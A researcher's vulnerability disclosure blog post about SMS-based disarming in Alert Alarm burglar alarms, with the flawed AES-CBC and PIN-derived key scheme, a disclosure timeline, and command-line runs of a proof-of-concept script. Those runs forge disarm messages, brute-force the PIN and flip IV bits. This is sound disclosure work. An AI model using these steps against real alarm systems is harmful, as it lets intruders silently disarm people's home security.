For Swedish translation of the article please go here.

For less tech savvy people or people just bored about all the details, this tl;dr; and the summary section at the end should be enough to read to get an understanding of the issues.

• As of today, 2020-01-02, the issues presented here still haven't been fixed even though initial report date was July 3rd 2019.
• Alert Alarm is a Swedish company selling burglar alarms (with various possibilities for extensions) to home owners. At one of their pages [1], they are saying that: "Our burglar alarms for home owners communicate using an encrypted channel primarily using GSM and secondarily using SMS". Apparently there is also some collaboration with Verisure since the people that I've been in contact with after reporting the issue to Alert Alarm are coming from Verisure.
• It all started out one morning in June 2019 when I noticed that when turning of the alarm from the App, a SMS was generated where the content was a long (hex-)string with random characters. After doing some reverse engineering I found out that Alert Alarm have multiple weaknesses in their SMS implementation that are used when turning on/off alarms from their Alert Alarm app (tested on Android). The weaknesses can be summaries in:
  • Crypto algorithm in use is plain AES-CBC which is malleable.
  • No integrity protection of the encrypted messages.
  • Heavily reduced key space, from 128-bits to 9999 keys.
  • Doesn't use any device unique values/properties in the data being sent to the Alert Alarm server.
  • No key derivation function in use (KDF).
  • No key exchange protocol in use (like Diffie Hellman for example).
• This makes the security of the implementation very fragile, since all it takes for a rouge user is to get hold of a single SMS generated by the Alert Alarm app to be able to gain access to someones house. I.e., when the attacker got that he can easily figure out the code used to turn on/off the burglar alarm. Using free services one can send spoofed SMS with manually crafted data and then it's just to enter the victims house and no alarm will go off. Alternatively a thief can break into the house and just simply enter the code to turn off the alarm as the homeowner would do.
• On this page, one can find examples and a script that can decrypt Alert Alarm SMSes and also create valid Alert Alarm SMSes. The script is also capable of finding a key using a brute force attack and it's also possible to flip bits to change the original intention of the SMS.

As mentioned, this caught my attention when I noticed that when turning off an active alarm (ARMED_HOME) using the Android app, a SMS is created similar to this (had to blur parts of it, otherwise anyone could figure out my own code by just running the scripts presented here).

After spending the rest of the morning reverse engineering the app I could see that the 64 bytes hex string is made up of two parts. The first part is the IV, which is a random number (coming from SHA1PRNG) and the second part is the actual message.

   32 bytes   32 bytes
+-----------+----------+
| IV        | Message  |
+-----------+----------+

It uses a 128-bit key, however the key used for encryption are made up of strings like this:

000000000000xxxx

Where "xxxx" is the pin code that is used to turn on and off the burglar alarm. This means the key space is heavily reduced from 128-bits, to only 9999 combinations instead of 340282366920938463463374607431768211455 combinations as it would have been if they had used a proper key!

The message it self is encrypted using plain AES-CBC, so no integrity protection or anything. What that means is that although the SMS is encrypted anyone can still modify it without the receiver noticing that. I'll talk more about that further down in the examples about flipping bits (see the section: "Flip a bit in the encrypted message").

The format of the decrypted message is as follows:

Bytes:            1   1   1      2       1     2        2        2         2          2   = 16 bytes
        +-----------+---+---+------+---------+-----+------+--------+---------+----------+
        |SMS Version| i | j | year | month-1 | day | hour | minute | user id | \x00\x00 |
        +-----------+---+---+------+---------+-----+------+--------+---------+----------+
                                      (hex)

Here "i" seems to represent the "alarm off (0)" and "alarm on (1)" and "j" is probably whether it is "armed home" or "armed away".

On my GitHub page, you'll find a Python script (aaxploit.py) that I wrote as a proof of concept script. With that script you can generate valid Alert Alarm SMSes, brute force SMS to get the code to the burglar alarm and a couple of other things that I'll go more into detail separately below. Calling the script with no arguments lists all possible parameters. But to make it easier to follow along, we've put together a couple of examples below.

This creates a valid SMS message (hex string), i.e, a real usable string that can be sent as an SMS and that will either turn on or turn off the alarm. "-p" here is the code that you want to use. If you own an Alert Alarm system, then you can try this, put your own and known code after "-p" and use either "--on" or "--off" to arm or disarm the alarm. Then take the crafted SMS and send it as an SMS to +467190009972713.

$ ./aaxploit.py -e -p 1234
[INFO]: Msg:              32303131393630333038343830310000
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              30303030303030303030303031323334 (0000000000001234)

[INFO]: Mode: encryption
[INFO]: Crafted SMS:      d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b

As an example, take the crafted SMS from the example above (having that said, copy a SMS string from a phone, generated by the Alert Alarm app works just as well). In this example we already know the pin code to turn on/off the alarm, so we provide that as a parameter.

$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p 1234
[INFO]: Original SMS:     d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              30303030303030303030303031323334 (0000000000001234)

[INFO]: Mode: decryption
[INFO]: | sms_v | i | j | year | month | day | hour | minute | user_id |
[INFO]:       2   0   1     19     0x6    03     08       48        01

Here we pretend that we don't know the key (i.e., the pin code to turn on/off the alarm), but we somehow have gotten hold of the encrypted SMS. By running the brute force attack we try to find the correct key and pin to turn on/off the alarm. Due to the nature of how the message is encoded, this always seems to work and since the key space is very small, it finds the key/pin in less than a second.

$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -b
[INFO]: Original SMS:     d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              None (0000000000000000)

[INFO]: Mode: bruteforce
[INFO]: (Probably) found the correct ...
[INFO]:    encryption key: 30303030303030303030303031323334
[INFO]:    pin:            1234

As we can see, we found the correct key/pin code! Note that the pin code is the same as used on the real physical burglar alarm at the alarm owners house. I.e., if a thief breaks in, he can enter this pin code and the alarm never goes off.

Since AES-CBC is malleable, we can flip a bit in the IV which will be directly reflected on the decrypted message. I.e., a man in the middle can use this to either change a message from "Turn on alarm" to a "Turn off alarm" or vice versa. Notice that here one doesn't even have to decrypt the message, i.e, by just taking the original message and flip a bit and use the modified SMS is enough to turn off (or turn on) the alarm. In the example below we flip the meaning of the "i" bit.

$ ./aaxploit.py --input d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b --flip 112
[INFO]: Original SMS:     d244e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d244e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              None (0000000000000000)

[INFO]: Mode: flip bits
[INFO]: Modified IV:      d245e98aed6f2dfbf991485e5e43cd56
[INFO]: Modified SMS:     d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b

If we take the "Modified SMS" and decrypt it, we can see that the "i" field has been changed (from "0" to "1", compare with message above, see the section "Decrypt a SMS from the phone").

$ ./aaxploit.py --input d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b -d -p 1234
[INFO]: Original SMS:     d245e98aed6f2dfbf991485e5e43cd56ee184c8e49d04a468eabd14aee04079b
[INFO]: Msg:              ee184c8e49d04a468eabd14aee04079b
[INFO]: IV:               d245e98aed6f2dfbf991485e5e43cd56
[INFO]: Key:              30303030303030303030303031323334 (0000000000001234)

[INFO]: Mode: decryption
[INFO]: | sms_v | i | j | year | month | day | hour | minute | user_id |
[INFO]:       2   1   1     19     0x6    03     08       48        01
                  /\
                  |----- changed from 0 to 1

Note that bit-flipping can be done to anything in the data, i.e., it would probably work to trick the system by taking an old valid SMS created by the Alert Alarm app and then just flip the date and/or hour bits and resend the modified SMS.

• Is the Alert Alarm solution susceptible to replay attacks? Is is possible to send the same message more than once?
  • No it's not, sending the same SMS twice makes the main control unit say "Fjärrkontroll, felkod 2". Also by adding for example +1 to minute still doesn't work. So, probably Alert Alarm on the server side are checking either a hash of all messages coming in and/or simply just check that the data in the SMS isn't too old.
• Will the Alert Alarm server detect brute force attacks. I.e., can one send 9999 SMS in a short amount of time and thereby gain access to someones house?
  • I haven't got this confirmed, but it's certainly something one easily could try.

Why did Alert Alarm decide to use SMS from the app, when there already must be a data connection with the app? This means that it probably works something like this.

• The SMS is sent to the server.
• The server decrypts the SMS, checks the parameters, record the action and send out a request (using the data connection over GSM) to the home owners main unit controlling the alarm.
• When the alarm has been armed/disarmed, the Android app gets a notification of the updated status.

Why on earth use SMS at all? Doesn't all mobile phone / users have a data connection in 2019?

• July 3rd 2019: I'm reporting to the support page that I want to disclose a security issue.
• July 9th 2019: Using a private Facebook message to Alert Alarm I once again try to say that I have a security issue that I want to report.
• July 10th 2019:
  • Alert Alarm responds at Facebook that they've sent my contact details to the people developing the app.
  • Verisure's Information Security Manager try to contact me using first phone and then email.
  • I send over the report (basically this blog post) together with proof of concept scripts.
• Augusti 12th 2019: Phone meeting with Verisure, I get a status update and Verisure mentions that they need more time than standard 90-day disclosure time, something that I'm fine with.
• October 2nd 2019: I reach out to Verisure asking for an update. Message is that they are still working on a solution, testing "something" that should work and that they soon will let me know more about it. I also ask about CVE number and when we can go public with this. No answer to that.
• November 4th 2019: I reach out once again asking for an update.
• November 7th 2019: Verisure replies with more or less the same message as October 2nd. Again promises to get back to me soon.
• 2:nd January 2020: I'm cleaning up the write-up and publish all this. The reason for doing it today is because today it's half a year ago since I initially reported the issues to Alert Alarm. If they would have been serious about this, it should all have been fixed by now and they should have reconnected better with me.

The security of the solution relies on

1. the pin code and
2. the SMS senders phone number and
3. that no-one is able to get hold of the SMS sent.

In fact, one can argue that the security only relies on "3", since if one gets hold of "3", then it's trivial to figure out "1", that is basically what the script aaxploit.py does. "2" on the other hand is typically available in phone books etc, i.e., it's usually not hard to figure out the phone numbers to the owner of a house.

Alert Alarm seems to have tried to "lock" the SMS service to a set of users. i.e., the first user have to add additional phone numbers before these people can use the app. So at first glance, one might believe that it's only the owners of these phone numbers who can send the SMS. But the fact is that there are many services out there that allow you to send spoofed SMS so it looks like they were sent from a certain phone number. I.e., it's totally possible to craft a SMS using aaxploit.py and then use one of these services to send a rouge SMS. I.e., any user can turn off the alarm without the alarm owner knowing about it.

Should the owners of this alarm be worried? Getting an SMS from the home owner is probably a bit challenging, so it's probably a bit hard to actually do the attack (don't leave your phone unattended!). On the other hand if Alert Alarm doesn't notice brute force attacks on the receiving side of the SMS, then it's fairly easy to put this attack into practice.

No matter, the flaws identified are quite severe and gives an attacker several ways to attack the system. Attacks that shouldn't be possible to do that easy on a system meant to protect our homes. Me and the other customers of Alert Alarm don't want our burglar alarms to have these kind of weaknesses. Right now it's more Security by Obscurity than real security.

I'm Joakim Bech, a guy who has been working with Security on embedded devices for the last 12 years. I did the work above on my spare time, but otherwise I head the security team at a company called Linaro where I've been working for a little bit more than 6 years.